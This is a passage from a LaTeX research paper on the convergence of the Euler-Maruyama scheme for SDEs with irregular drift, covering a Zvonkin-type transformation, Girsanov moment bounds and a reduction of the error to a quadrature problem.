This can be seen from the following: let $\mu(x)=\operatorname{sign}(x)$ and $\alpha\in(0,\infty)$. Then the decomposition $a_\alpha,b_\alpha\colon {\mathbb{R}}\to{\mathbb{R}}$, $\mu(x)=a_\alpha(x)+b_\alpha(x)$, which satisfies Assumption \ref{ass} and Assumption \ref{ass_b} for all $\kappa <1/2$ and all $\alpha\in(0,\infty)$, can be chosen as
\begin{align*}
a_\alpha(x)=\begin{cases}
1, & x\in(\alpha,\infty),\\
\frac{2\int_\alpha^{\frac{x+3\alpha}{2}} (2\alpha-y)^2(y-\alpha)^2 dy}{\int_\alpha^{2\alpha} (2\alpha-y)^2(y-\alpha)^2 dy}-1, & x\in(-\alpha,\alpha),\\
-1, & x\in(-\infty,-\alpha),
\end{cases}
\end{align*}
and $b_\alpha(x)=\mathbf{1}_{(0,\alpha)}(x) \cdot (1-a_\alpha(x))+\mathbf{1}_{(-\alpha,0)}(x) \cdot (1-a_\alpha(x))$.
Figure \ref{fig:signum} illustrates this decomposition.
\begin{figure}[ht]
\begin{center}
\includegraphics[scale=0.4]{signum}
\caption{A decomposition of the sign function ($\alpha=2$).}\label{fig:signum}
\end{center}
\end{figure} Recall that such a decomposition of $\mu$ is only required for the error analysis and not for the actual implementation of the scheme.
\item In particular for bounded $C_b^2(\mathbb{R})$-drift coefficients, which are perturbed by a step function \eqref{step}, we obtain convergence order $3/4-\epsilon$ for all $\epsilon>0$, similar to the transformation-based Milstein-type method in \citet{muellergronbach2019b}. Moreover, for Lipschitz-continuous drift coefficients with bounded support we obtain convergence order $1-\epsilon$ for all $\epsilon>0$, similar to the drift-randomized Milstein-type scheme analyzed in \citet{raphael_2} under structurally different assumptions on the coefficient.
\item The reduction of the error of the EM scheme to a quadrature problem, i.e.~Theorem \ref{main_1}, relies among other results on a Zvonkin-type transformation, see \cite{zvonkin1974}.
For the analysis of numerical methods of SDEs with irregular coefficients this transformation has already been used, e.g., by \citet{ngo2017a}, and also the results of \citet{MENOUKEUPAMEN,gerencser2018} rely on similar transformations.
In contrast to these works, we first split the drift-coefficient into a smooth and an irregular part, thus allowing a larger class of coefficients, and state with Theorem \ref{main_1} a general reduction
result that explicitly links the error analysis of the EM scheme to the analysis of quadrature problems.
\item Extensive numerical tests of the Euler scheme for different step functions as drift have been carried out in \cite{lux}. In the absence of exact reference solutions, the estimates of the convergence rates via standard numerical tests turn out to be unstable and seem to depend on the initial value and the fine structure of the step functions. For example, for $\xi=0$, $\mu=-\operatorname{sign}$ much better convergence rates are obtained than for $\xi=0$, $\mu=\operatorname{sign}$, although the Sobolev-Slobodeckij regularity remains unchanged.In particular, in some cases the estimated convergence orders are much worse than the guaranteed order $3/4-\epsilon$, which illustrates the unreliability of standard tests for such equations.
\item In order to extend our result to the multidimensional case, we would need a multidimensional version of the Zvonkin-type transformation that we use here. A candidate for this would be a Veretennikov-type transformation, see \cite{veretennikov1984}. However, this transformation is not given explicitly, but as solution to a PDE, and also other favourable properties are lost. Hence, the extension to the multidimensional case is out of the scope of the current paper as well as an extension to the Euler-Maruyama scheme for scalar SDEs with non-additive noise. While Zvonkin's transformation is still available, the Girsanov technique from Section \ref{sec:red_quad} is not applicable in this case due to the non-constant diffusion coefficient.
\end{enumerate}
\end{remark}
\begin{remark} \label{ytm}
Lamperti's transformation, i.e.
$$ \lambda\colon{\mathbb{R}}\to{\mathbb{R}}, \qquad \lambda(x)= \int_{x_0}^x \frac{1}{\sigma(z)} dz,$$
with $x_0\in{\mathbb{R}}$,
reduces general scalar SDEs
$$ dX_t= \mu(X_t) dt + \sigma(X_t) dW_t, \quad t \in [0,T], \qquad X_0=x_0,$$ with sufficiently smooth elliptic diffusion coefficient $\sigma\colon \mathbb{R} \rightarrow \mathbb{R}$ to SDEs of the form
$$ dY_t= g(Y_t) dt + dW_t, \quad t \in [0,T], \qquad
Y_0 = \lambda(x_0),$$
with additive noise, where
$$ g(x)= \frac{\mu(\lambda^{-1}(x))}{\sigma(\lambda^{-1}(x))} - \frac{1}{2}\sigma'(\lambda^{-1}(x)), \qquad x \in \mathbb{R}, $$
and $X(t)= \lambda^{-1}(Y(t))$, $t \in [0,T]$.
If $\mu$ satisfies Assumptions \ref{ass} and \ref{ass_b} and if $\sigma$ is three times continuously differentiable with bounded derivatives and
$$ 0< \inf_{x \in \mathbb{R}} \sigma(x) \leq \sup_{x \in \mathbb{R}} \sigma(x) < \infty,$$
then $g$ satisfies Assumptions \ref{ass} and \ref{ass_b}. So, if $\lambda$, $\lambda^{-1}$ and $g$ are explicitly known, then
$X_T$ can be approximated by $\lambda^{-1}(Y_T^{(\pi_n)})$ and the error bounds \eqref{eb-intro-1} and \eqref{eb-intro-2} carry over.
\end{remark}
\section{Reduction to a quadrature problem for irregular functions of Brownian motion}\label{sec:red_quad}
In this section we will relate the analysis of the pointwise $L^2$-error of the EM scheme to a quadrature problem which will be simpler to analyse.
In the whole paper we will denote the expectation w.r.t.~$\P$ by ${\mathbb{E}}$, the expectation w.r.t.~any other measure ${\mathbb{Q}}$ by ${\mathbb{E}}_{\mathbb{Q}}$, and the Lipschitz constant of a Lipschitz continuous function $f$ by $L_f$.
For notational simplicity we will drop the superscript $(\pi_n)$, wherever possible.
\subsection{Notation and preliminaries}
First, we introduce a transformation $\varphi$ of the state space, which allows us to deal with the irregular part $b$ of the drift coefficient of SDE \eqref{eq:sde}.
\begin{lemma}\label{smooth} Let Assumption \ref{ass} hold. Let $\varphi: \mathbb{R} \rightarrow\mathbb{R}$ be defined by
\begin{align}\label{varphi-solves}
\varphi (x) = \int_0^x \exp\!\left(-2 \int_0^y b(z)\, dz\right) dy, \qquad x \in {\mathbb{R}}.
\end{align}
Then
\begin{enumerate}[(i)]
\item\label{smooth-it1} the map $\varphi$ is differentiable with bounded derivative $\varphi'$, which is absolutely continuous with bounded Lebesgue density $\varphi''\colon{\mathbb{R}}\to{\mathbb{R}}$;
\item\label{smooth-itb} the map $\varphi$ is invertible with $\varphi^{-1} \in C_b^{1}(\mathbb{R})$;
\item\label{smooth-it2} the maps $\varphi' \circ \varphi^{-1}: \mathbb{R} \rightarrow\mathbb{R}$ and $ (\varphi' a)\circ \varphi^{-1}\colon \mathbb{R} \rightarrow\mathbb{R}$ are globally Lipschitz.
\end{enumerate}
\end{lemma}
\begin{proof}
First note that $b$ is bounded. So, by construction and the fundamental theorem of Lebesgue-integral calculus we have
$$ \varphi'(x)= \exp\!\left(-2 \int_0^x b(z)\, dz\right), \qquad \varphi''(x) =-2b(x) \varphi'(x), \qquad x \in \mathbb{R}.$$
Since by assumption $b \in L^1({\mathbb{R}})$, we have that
\begin{align} \label{bound_phi'} \exp (- 2\|b\|_{L^1}) \leq \varphi'(x) \leq \exp (2\| b \|_{L^1}), \qquad x \in {\mathbb{R}}, \end{align}
which shows item \eqref{smooth-it1}.
The last equation also implies that $\varphi$ is invertible. Moreover, we have
$$ (\varphi^{-1})^{'}(y)=\frac{1}{\varphi'(\varphi^{-1})(y))},$$ so \eqref{bound_phi'} implies that $\varphi^{-1} \in C_b^{1}(\mathbb{R})$.
This proves item \eqref{smooth-itb}.
The Lipschitz property of $\varphi' \circ \varphi^{-1}$ and $(\varphi'a) \circ \varphi^{-1}$ follows from the boundedness of $a, \varphi'$ and the Lipschitz property of $\varphi', \varphi^{-1}$, and $a$.
This proves item \eqref{smooth-it2}.
\end{proof}
The previous lemma implies in particular that $\varphi$ is twice differentiable almost everywhere and solves
\begin{align}
b(x)\varphi'(x) + \frac{1}{2} \varphi''(x) = 0 \label{ode_phi} \quad \textrm{for almost all} \,\, \, \, x \in {\mathbb{R}}.
\end{align}
A similar transformation was introduced by Zvonkin in \cite{zvonkin1974} and the use of such techniques for the numerical analysis of SDEs goes back until \cite{talay}.\\
Now, define the transformed process $Y=(Y_t)_{t\in[0,T]}$ as $Y_t=\varphi(X_t)$. By It\={o}{}'s formula, $\mu=a+b$, and \eqref{ode_phi} we have
\begin{align*}
Y_t
= \varphi(\xi) + \int_0^t \varphi'(X_s)a(X_s) \,ds+ \int_0^t \varphi'(X_s) \,dW_s, \qquad t \in [0,T].
\end{align*}
Moreover, define the transformed EM scheme $y=(y_t)_{t\in[0,T]}$ as $y_t=\varphi(x_t)$. It\={o}{}'s formula, \eqref{euler}, $\mu=a+b$, and \eqref{ode_phi} give
\begin{align*}
y_t
& = \varphi(\xi)
+\int_0^t \left( \varphi'(x_s) (a+b)(x_{{\underline{s}}})+\frac{1}{2}\varphi''(x_s) \right) ds
+ \int_0^t \varphi'(x_s)dW_s \\ & = \varphi(\xi)
+\int_0^t \varphi'(x_s) \left( (a+b)(x_{{\underline{s}}}) - (a+b)(x_s) \right) ds
\\ & \qquad \quad \,
+ \int_0^t \varphi'(x_s) a(x_s) ds + \int_0^t \varphi'(x_s)dW_s, \qquad t \in [0,T].
\end{align*}
Next, we will exploit Girsanov's theorem, see, e.g., \cite[Section 3.5]{karatzas1991}. More precisely, we will use a change of measure such that under the new measure $\mathbb{Q}$ the drift of the Euler scheme is removed. So let $L_T^{(\pi_n)}=\frac{d{\mathbb{Q}}}{d\P}$ be the corresponding Radon-Nikodym derivative for which $x^{(\pi_n)}-\xi=(x^{(\pi_n)}_t-\xi)_{t \in [0,T]}$ is a Brownian motion under ${\mathbb{Q}}$, that is
\begin{equation}\label{rndensity}
L_T^{(\pi_n)}= \exp \left( -\int_0^T \mu(x_{{\underline{s}}}^{(\pi_n)}) dW_s - \frac{1}{2}\int_0^T\mu^2(x_{{\underline{s}}}^{(\pi_n)}) ds \right).
\end{equation}
We will require the following moment bound:
\begin{lemma} \label{girsanov} Let Assumption \ref{ass} hold.
For all $\varepsilon>0$ there exists a constant $c^{(L)}_{\mu,T,\varepsilon}>0$ such that
$$ \left( {\mathbb{E}}_{\mathbb{Q}}\!\left[\Big |L_T^{(\pi_n)} \Big|^{-\frac{1}{\varepsilon}}\right] \right)^{\varepsilon} \leq c^{(L)}_{\mu,T,\varepsilon}. $$
\end{lemma}
\begin{proof}
First, note that
\begin{align*}
&{\mathbb{E}}_{\mathbb{Q}}\!\left[|L_T^{(\pi_n)}|^{-\frac{1}{\varepsilon}}\right] ={\mathbb{E}}\!\left[ |L_T^{(\pi_n)}|^{\frac{\varepsilon-1}{\varepsilon}}\right] \\
& \quad =
{\mathbb{E}}\left[\exp\!\left(\frac{\varepsilon-1}{\varepsilon}\left[
-\int_0^T \mu(x_{{\underline{s}}}) dW_s - \frac{1}{2}\int_0^T\mu^2(x_{{\underline{s}}}) ds
\right]\right)\right]
\\ & \quad =
{\mathbb{E}}\left[\exp\!\left(\frac{1-\varepsilon}{\varepsilon}\left[
\int_0^T \mu(x_{{\underline{s}}}) dW_s + \frac{1}{2}\int_0^T\mu^2(x_{{\underline{s}}}) ds
\right]\right)\right]
\\ & \quad \le
\exp\!\left(\frac{1-\varepsilon}{2\varepsilon}
T \|\mu\|_\infty^2
\right)
{\mathbb{E}}\left[
\exp\!\left(\frac{1-\varepsilon}{\varepsilon}
\int_0^T \mu(x_{{\underline{s}}}) dW_s\right)
\right].
\end{align*}
It\=o-integrals with bounded integrands have Gaussian tails, i.e.
$$ \P \left( \sup_{t \in [0,T]} \left| \int_0^t \mu(x_{{\underline{s}}}) dW_s \right| \geq \delta \right) \leq 2 \exp \left( - \frac{\delta^2}{ 4T\|\mu\|_{\infty}^2}\right ), \qquad \delta >0,$$
which is obtained by using \cite[(A.5) in Appendix A.2]{nualart2006} with $\rho=2 T \| \mu \|^2_{\infty}$.
Since positive random variables $Z$ satisfy
\begin{align*}
{\mathbb{E}} [Z] = \int_0^{\infty} \P(Z \geq z) \,dz,
\end{align*}
it follows that
\begin{align*}
&
{\mathbb{E}}\left[
\exp\!\left(\frac{1-\varepsilon}{\varepsilon}
\int_0^T \mu(x_{{\underline{s}}}) dW_s\right)
\right]
\\ & \quad \le
{\mathbb{E}}\left[\exp\!\left(\left|\frac{1-\varepsilon}{\varepsilon}\right|\, \left|
\int_0^T \mu(x_{{\underline{s}}}) dW_s\right| \right)
\right]
\\&\quad=
\int_0^\infty \P\!\left( \exp\!\left(\left|\frac{1-\varepsilon}{\varepsilon}\right| \,\left|
\int_0^T \mu(x_{{\underline{s}}}) dW_s\right|\right) \ge z \right) dz
\\&\quad \leq 1+
\int_1^\infty \P\!\left( \left|
\int_0^T\mu(x_{{\underline{s}}}) dW_s\right| \ge \log(z)\left|\frac{\varepsilon}{1-\varepsilon}\right| \right) dz
\\&\quad \le
1+ 2 \int_0^{\infty} \exp \left( - \frac{(\log(z))^2 \varepsilon^2}{(1-\varepsilon)^2 4T\|\mu\|_\infty^2} \right) d z
\\ & \quad =
1+ 2 \int_{-\infty}^{\infty} \exp \left( \delta - \frac{\delta^2}{2} \frac{\varepsilon^2}{(1-\varepsilon)^2 {2T\|\mu\|_\infty^2}} \right) d \delta
\\&\quad=
1+ \frac{4\sqrt{T\pi} (1-\varepsilon) \|\mu\|_\infty}{\varepsilon}\exp\!\left(\frac{(1-\varepsilon)^2 T \|\mu\|_\infty^2}{\varepsilon^2}\right)
< \infty,
\end{align*}
where the last step follows, e.g., from the moment generating function for a centred Gaussian variable with variance $\frac{(1-\varepsilon)^2 2T \|\mu\|_\infty^2}{\varepsilon^2}$.
\end{proof}
Finally, we establish a technical, but straightforward estimate of weighted sums of iterated (It\={o}{})-integrals.
\begin{lemma}\label{step-decomp}
Let $\psi_1,\psi_2\colon{\mathbb{R}}\to{\mathbb{R}}$ be bounded and measurable functions.
Then for all $t \in [0,T]$ we have
\begin{align*}
{\mathbb{E}} \!\left[ \left| \int_0^t \psi_1 (x_{{\underline{s}}}^{(\pi_n)}) \left( \int_{{\underline{s}}}^s \psi_2 (x_u^{(\pi_n)}) dW_u \right) \,ds\right|^2\right]
\le \frac{t}{2} \|\psi_1\|_\infty^2 \|\psi_2\|_\infty^2 \cdot \|\pi_n\|^2.
\end{align*}
\end{lemma}
\begin{proof}
Since $ \psi_1(x_{\underline{\tau}})$ is $\mathcal{F}_{\underline{\tau}}$-measurable for $\tau \in [0,T]$ we have
\begin{align*}
& {\mathbb{E}} \left[ \psi_1(x_{{\underline{s}}})\int_{{\underline{s}}}^s \psi_2(x_u) d W_u \, \, \psi_1(x_{\underline{t}}) \int_{{\underline{t}}}^t \psi_2(x_v) dW_v \right]
\\ & \quad = {\mathbb{E}} \left [ \int_{{\underline{s}}}^s \psi_1(x_{{\underline{s}}}) \psi_2(x_u) d W_u \, \,\int_{{\underline{t}}}^t \psi_1(x_{\underline{t}}) \psi_2(x_v) dW_v \right ], \qquad s,t \in [0,T].
\end{align*} Assume now that ${\underline{t}} \geq s $.
Conditioning on $\mathcal{F}_{{\underline{t}} }$ yields
that
\begin{align*}
& {\mathbb{E}} \left[ \psi_1(x_{{\underline{s}}})\int_{{\underline{s}}}^s \psi_2(x_u) d W_u \, \, \psi_1(x_{\underline{t}}) \int_{{\underline{t}}}^t \psi_2(x_v) dW_v \right]
\\ & \quad = {\mathbb{E}} \left[ \int_{{\underline{s}}}^s \psi_1(x_{{\underline{s}}}) \psi_2(x_u) d W_u \,\, {\mathbb{E}} \left[ \, \,\int_{{\underline{t}}}^t \psi_1(x_{\underline{t}}) \psi_2(x_v) dW_v \, \Big{|} \, \mathcal{F}_{{\underline{t}}} \right] \right ] =0,
\end{align*}
since $ \int_{{\underline{s}}}^s \psi_1(x_{{\underline{s}}}) \psi_2(x_u) d W_u$ is $\mathcal{F}_{{\underline{t}} }$-measurable and
$$ {\mathbb{E}} \left[ \, \,\int_{{\underline{t}}}^t \psi_1(x_{\underline{t}}) \psi_2(x_v) dW_v \, \Big{|} \, \mathcal{F}_{{\underline{t}}} \right] =0.$$
Let $\ell \in\{0,1,\dots,n\}$ and
assume w.l.o.g.~that ${\underline{t}}=t_\ell$. We have
\begin{align*}
&{\mathbb{E}} \!\left[ \left| \int_0^{t} \psi_1 (x_{{\underline{s}}}) \left( \int_{{\underline{s}}}^s \psi_2 (x_u) dW_u \right) \,ds\right|^2\right] \\
& \quad = {\mathbb{E}} \!\left[ \left| \sum_{k=0}^{\ell-1}\int_{t_k}^{t_{k+1}} \psi_1(x_{t_k}) \int_{t_k}^s \psi_2(x_u) dW_u \,ds + \int_{t_{\ell}}^{t} \psi_1(x_{t_{\ell}}) \int_{t_{\ell}}^s \psi_2(x_u) dW_u \,ds \right|^2\right]
\\&\quad
=\sum_{k=0}^{\ell-1} \sum_{m=0}^{\ell-1} {\mathbb{E}} \!\left[ \left(\int_{t_k}^{t_{k+1}} \psi_1(x_{t_k}) \int_{t_k}^s \psi_2(x_u) dW_u \,ds\right)
\left( \int_{t_m}^{t_{m+1}} \psi_1(x_{t_m}) \int_{t_m}^r \psi_2(x_v) dW_v \,dr \right)\right]
\\&\qquad+ 2
\sum_{k=0}^{\ell-1} {\mathbb{E}} \!\left[ \left(\int_{t_k}^{t_{k+1}} \psi_1(x_{t_k}) \int_{t_k}^s \psi_2(x_u) dW_u \,ds\right)
\left( \int_{t_\ell}^t \psi_1(x_{t_\ell}) \int_{t_\ell}^r \psi_2(x_v) dW_v \,dr \right)\right]
\\&\qquad+
{\mathbb{E}} \!\left[ \left| \int_{t_{\ell}}^{t} \psi_1(x_{t_{\ell}}) \int_{t_{\ell}}^s \psi_2(x_u) dW_u \,ds\right|^2\right]
\\&\quad
=\sum_{k=0}^{\ell -1}{\mathbb{E}} \!\left[ \left|\int_{t_k}^{t_{k+1}} \int_{t_k}^s \psi_1(x_{t_k}) \psi_2(x_u) dW_u \,ds\right|^2\right]
+
{\mathbb{E}} \!\left[ \left| \int_{t_{\ell}}^{t} \int_{t_{\ell}}^s \psi_1(x_{t_{\ell}}) \psi_2(x_u) dW_u \,ds\right|^2\right].
\end{align*}
Applying the Cauchy-Schwarz inequality and using the It\={o}{}-isometry and the boundedness of $\psi_1,\psi_2$ yields
\begin{equation} \label{E3-help3}
\begin{aligned}
&\sum_{k=0}^{\ell-1}{\mathbb{E}} \!\left[ \left|\int_{t_k}^{t_{k+1}} \int_{t_k}^s \psi_1(x_{t_k}) \psi_2(x_u) dW_u \,ds\right|^2\right]
+
{\mathbb{E}} \!\left[ \left| \int_{t_{\ell}}^{t} \int_{t_{\ell}}^s \psi_1(x_{t_{\ell}}) \psi_2(x_u) dW_u \,ds\right|^2\right]
\\&\le
\|\pi_n\| \cdot \left(\sum_{k=0}^{\ell-1} \int_{t_k}^{t_{k+1}} {\mathbb{E}} \!\left[ \left| \int_{t_k}^s \psi_1(x_{t_k}) \psi_2(x_u) dW_u \right|^2\right] ds
+
\int_{t_\ell}^{t} {\mathbb{E}} \!\left[ \left| \int_{t_\ell}^s \psi_1(x_{t_\ell}) \psi_2(x_u) dW_u \right|^2\right] ds
\right)
\\&\le
\|\pi_n\| \|\psi_1\|_\infty^2 \|\psi_2\|_\infty^2 \cdot \left(\sum_{k=0}^{\ell-1} \int_{t_k}^{t_{k+1}} (s-t_k) ds
+\int_{t_\ell}^{t} (s-t_\ell) ds
\right)
\\ &=
\frac{1}{2} \|\pi_n\| \|\psi_1\|_\infty^2 \|\psi_2\|_\infty^2 \cdot \left(\sum_{k=0}^{\ell-1} (t_{k+1}-t_k)^2
+(t-t_\ell)^2
\right)
\\&\leq
\frac{1}{2} \|\pi_n\|^{2} \|\psi_1\|_\infty^2 \|\psi_2\|_\infty^2 \cdot \left(\sum_{k=0}^{\ell-1} (t_{k+1}-t_k)
+(t-t_\ell)
\right)
\\&=
\frac{t}{2} \|\pi_n\|^2 \|\psi_1\|_\infty^2 \|\psi_2\|_\infty^2
.
\end{aligned}
\end{equation}
\end{proof}
\subsection{Reduction to a quadrature problem}
Now we relate the error of the EM scheme $x^{(\pi_n)}=(x^{(\pi_n)})_{t \in [0,T]}$ to the error of a weighted quadrature problem.
\begin{theorem}\label{main_1} Let Assumption \ref{ass} hold. Then, for all $\varepsilon\in(0,1)$ there exists a constant $C^{(R)}_{\varepsilon, a,b,T}>0$ such that
$$ \sup_{t \in [0,T]} {\mathbb{E}}\!\left[|X_t-x_t^{(\pi_n)}|^2\right] \leq C^{(R)}_{\varepsilon, a,b,T} \cdot \left(\|\pi_n\|^2 + \sup_{t \in [0,T]} |\mathcal{W}_t^{(\pi_n)}|^{1-\varepsilon} \right),$$
where
\begin{align*}
\mathcal{W}^{(\pi_n)}_t &= {\mathbb{E}}\!\left[ \left| \int_0^t \varphi'(W_s+\xi) \left(b(W_s+\xi)- b(W_{\underline{s}}+\xi)\right) ds \right|^2\right], \qquad t \in [0,T].
\end{align*}
\end{theorem}
\medskip
\begin{proof}
\textit{ Step 1.}
First note that by Lemma \ref{smooth} we have
\begin{align}\label{trafoappl}
{\mathbb{E}}\left[|X_t-x_t|^2 \right] = {\mathbb{E}}\left[\left|\varphi^{-1}(Y_t)-\varphi^{-1}(y_t)\right|^2\right]
\le L_{\varphi^{-1}}^2 {\mathbb{E}}\left[|Y_t-y_t|^2 \right], \qquad t \in [0,T].
\end{align}
Furthermore, we have for all $t \in [0,T]$ that
\begin{equation} \label{eq:Y-y}
\begin{aligned}
Y_t-y_t = E_t &+ \int_0^t \left( (\varphi'a)(\varphi^{-1}(Y_s))- (\varphi'a)( \varphi^{-1}(y_s) )\right) ds \\ & + \int_0^t \left( \varphi' ( \varphi^{-1}(Y_s))- \varphi' ( \varphi^{-1}(y_s)) \right) dW_s,
\end{aligned}
\end{equation}
where
$$ E_t= \int_0^t \varphi'(x_s) \left((a+b)(x_s)- (a+b)(x_{{\underline{s}}}) \right) ds.$$
Applying the representation \eqref{eq:Y-y}, the Cauchy-Schwarz inequality, the It\={o}{}-isometry, and Lemma \ref{smooth} we obtain for all $t\in [0,T]$
that
\begin{align*}
{\mathbb{E}}\left[|Y_t-y_t|^2 \right]
&\leq 3 {\mathbb{E}}\!\left[|E_t|^2 \right] + 3 {\mathbb{E}} \left[ \left|
\int_0^t \left( (\varphi'a)(\varphi^{-1}(Y_s))- (\varphi'a)(\varphi^{-1}(y_s)) \right) ds \right|^2 \right]
\\ & \qquad \qquad \quad \,\, + 3 {\mathbb{E}} \left[ \left| \int_0^t \left( \varphi'(\varphi^{-1}(Y_s))- \varphi'(\varphi^{-1}(y_s)) \right) dW_s\right|^2 \right]
\\&\leq 3 {\mathbb{E}}\left[|E_t|^2 \right]
+ 3 \left(T L_{(\varphi'a) \circ \varphi^{-1}}^2 + L_{\varphi' \circ \varphi^{-1}}^2 \right)
\int_0^t {\mathbb{E}} \left[ \left| Y_s -y _s \right|^2 \right ] ds \\ & \leq 3 \sup_{u \in [0,t]} {\mathbb{E}}\left[|E_u|^2 \right]
+ 3 \left(T L_{(\varphi'a) \circ \varphi^{-1}}^2 + L_{\varphi' \circ \varphi^{-1}}^2 \right)
\int_0^t \sup_{u \in [0,s]} {\mathbb{E}} \left[ \left| Y_u-y _u \right|^2 \right ] ds
.
\end{align*}
This estimate, Gronwall's lemma, and \eqref{trafoappl} establish that there exists a constant $c^{(1)}_{a,b,T}>0$ such that
\begin{align}\label{est1}
\sup_{t \in [0,T]}{\mathbb{E}}\left[|X_t-x_t|^2 \right]
\le c^{(1)}_{a,b,T} \, \sup_{t \in [0,T]} {\mathbb{E}}\left[|E_t|^2 \right].
\end{align}
Clearly, we have that
\begin{align}\label{SumE} {\mathbb{E}}\left[|E_{t}|^2 \right] =
{\mathbb{E}}\left[\left|\int_0^{t} \varphi'(x_s) \left((a+b)(x_s)- (a+b)(x_{{\underline{s}}}) \right) ds\right|^2 \right]
\leq 3(\mathcal{E}_1(t)+\mathcal{E}_2(t)+\mathcal{E}_3(t)),
\end{align}
where
\begin{align*}
\mathcal{E}_1(t) &= {\mathbb{E}}\left[\left|\int_0^{t} \varphi'(x_{{\underline{s}}}) \left( a(x_s)- a(x_{{\underline{s}}}) \right) ds\right|^2 \right], \\
\mathcal{E}_2(t) &= {\mathbb{E}}\left[\left|\int_0^{t} \left( \varphi'(x_s) - \varphi'(x_{{\underline{s}}}) \right) \left( a(x_s)- a(x_{{\underline{s}}}) \right) ds\right|^2 \right],\\
\mathcal{E}_3(t) &= {\mathbb{E}}\left[\left|\int_0^{t}\varphi'(x_s) \left(b(x_s)- b(x_{{\underline{s}}})\right) ds\right|^2 \right].
\end{align*}
We will first deal with $\mathcal{E}_1$ and $\mathcal{E}_2$ using standard tools, then we will rewrite
$\mathcal{E}_3$ using a Girsanov transform.\\
\textit{Step 2.} For estimating $\mathcal{E}_1$ and $\mathcal{E}_2$ note that for all $s \in [0,T]$ we have
\begin{equation} \label{fourthmoment}
\begin{aligned}
{\mathbb{E}}\!\left[|x_s-x_{{\underline{s}}}|^4 \right] & = {\mathbb{E}}\!\left[\left| \int_{\underline{s}}^s(a+b)(x_{\underline{t}}) dt+(W_s-W_{\underline{s}}) \right|^4 \right]
\\&\quad\le8 \, {\mathbb{E}}\!\left[\left| \int_{\underline{s}}^s |(a+b)(x_{\underline{t}})| dt\right|^4\right]+8\,{\mathbb{E}}\!\left[|W_s-W_{\underline{s}} |^4 \right]
\\&\quad\le8(s-{\underline{s}})^4 {\mathbb{E}} \left[ \sup_{t \in [0,T]}|(a+b)(x_{\underline{t}})|^4 \right]+24 (s-{\underline{s}})^2
\\&\quad\le8 \|a+b\|_\infty^4 \|\pi_n\|^4+24 \|\pi_n\|^2.
\end{aligned}
\end{equation}
To estimate $\mathcal{E}_2$ we apply the Cauchy-Schwarz inequality and $ 2 xy \leq x^2 +y^2$ to obtain that
\begin{align*}
\mathcal{E}_2{(t)}&\leq {t} \int_0^{t}{\mathbb{E}}\!\left[\left| \varphi'(x_s) - \varphi'(x_{{\underline{s}}}) \right|^2 \left| a(x_s)- a(x_{{\underline{s}}}) \right|^2\right] ds\\
&\le \frac{{t}}{2} \int_0^{t} {\mathbb{E}}\!\left[\left| \varphi'(x_s) - \varphi'(x_{{\underline{s}}}) \right|^4 + \left| a(x_s)- a(x_{{\underline{s}}}) \right|^4\right] ds.
\end{align*}
Since $\varphi'$ and $a$ are globally Lipschitz, \eqref{fourthmoment} yields
\begin{equation}
\begin{aligned}
\label{E4}
\mathcal{E}_2{(t)} & \leq \frac{t}{2} \left( L_{\varphi'}^4+ L_{a}^4 \right) \int_0^{t} {\mathbb{E}}\!\left[|x_s-x_{{\underline{s}}}|^4 \right]ds \\ & \leq
\frac{t^2}{2} \left( L_{\varphi'}^4+ L_{a}^4 \right) \left( 8 \|a+b\|_\infty^4 \|\pi_n\|^4+24 \|\pi_n\|^2 \right).
\end{aligned}
\end{equation}
Recall that $a \in C^2_b(\mathbb{R})$. So, It\=o's formula yields
\begin{align*}
&\int_0^{t} \varphi'(x_{{\underline{s}}}) \left( a(x_s)- a(x_{{\underline{s}}}) \right) ds \\ & \quad= \int_0^{t} \varphi'(x_{{\underline{s}}}) \left(
\int_{{\underline{s}}}^s \left(a'(x_u) (a+b)(x_{{\underline{s}}}) + \frac{1}{2}a''(x_u)\right) du + \int_{{\underline{s}}}^s a'(x_u) d W_u \right)ds.
\end{align*}
Hence, we have
\begin{equation}\label{E3-help1}
\begin{aligned}
\mathcal{E}_1{(t)} & \leq 2\, {\mathbb{E}} \!\left[\left| \int_0^{t} \varphi'(x_{{\underline{s}}})
\int_{{\underline{s}}}^s \left(a'(x_u) (a+b)(x_{{\underline{s}}}) +\frac{1}{2} a''(x_u) \right) du \, ds\right|^2 \right]
\\ & \quad+
2\, {\mathbb{E}} \!\left[ \left| \int_0^{t} \varphi'(x_{\underline{s}}) \int_{{\underline{s}}}^s a'(x_u) dW_u \,ds\right|^2\right]
\\& \leq
2\, {\mathbb{E}} \!\left[\left| \int_0^{t} \int_{{\underline{s}}}^s \left| \varphi'(x_{{\underline{s}}})\right|
\left| a'(x_u) (a+b)(x_{{\underline{s}}}) +\frac{1}{2} a''(x_u) \right| du \, ds\right|^2 \right]
\\ & \quad+
2\, {\mathbb{E}} \!\left[ \left| \int_0^{t} \varphi'(x_{\underline{s}}) \int_{{\underline{s}}}^s a'(x_u) dW_u \,ds\right|^2\right] .
\end{aligned}
\end{equation}
Using that
$a,b,a',a'',\varphi'$ are bounded, gives
$$ \sup_{u,s \in[0,T]} \left| \varphi'(x_{{\underline{s}}})\right|
\left| a'(x_u) (a+b)(x_{{\underline{s}}}) +\frac{1}{2} a''(x_u) \right| \leq
\|\varphi'\|_\infty \left( \|a'\|_\infty \, \|a+b\|_\infty + \frac{1}{2}\|a''\|_\infty \right).
$$ So we obtain
\begin{equation}\label{E3-help2}
\begin{aligned}
& {\mathbb{E}} \!\left[\left| \int_0^{t} \int_{{\underline{s}}}^s \varphi'(x_{{\underline{s}}})
\left(a'(x_u) (a+b)(x_{{\underline{s}}}) +\frac{1}{2} a''(x_u)\right) du \, ds\right|^2 \right] \\ & \qquad \leq {t}^2 \|\varphi'\|_\infty^2 \left( \|a'\|_\infty \, \|a+b\|_\infty + \frac{1}{2}\|a''\|_\infty \right)^2 \|\pi_n\|^2.
\end{aligned}
\end{equation}
Combining \eqref{E3-help1} with \eqref{E3-help2} and applying Lemma \ref{step-decomp} to the second summand of \eqref{E3-help1} yield
\begin{align}\label{E3}
\mathcal{E}_1(t)\le 2{t}^2 \|\varphi'\|_\infty^2 \left( \|a'\|_\infty \, \|a+b\|_\infty + \frac{1}{2}\|a''\|_\infty \right)^2 \|\pi_n\|^2
+ {t} \|a'\|_\infty^2 \|\varphi'\|_\infty^2 \|\pi_n\|^2.
\end{align}
Thus, \eqref{E3} and \eqref{E4} imply that there exists a constant $c^{(2)}_{a,b,T}>0$ such that
\begin{align}\label{est2}
\mathcal{E}_1(t) +\mathcal{E}_2(t)
\le c^{(2)}_{a,b,T} \, \|\pi_n\|^2
\end{align}
for all $t \in [0,T]$.
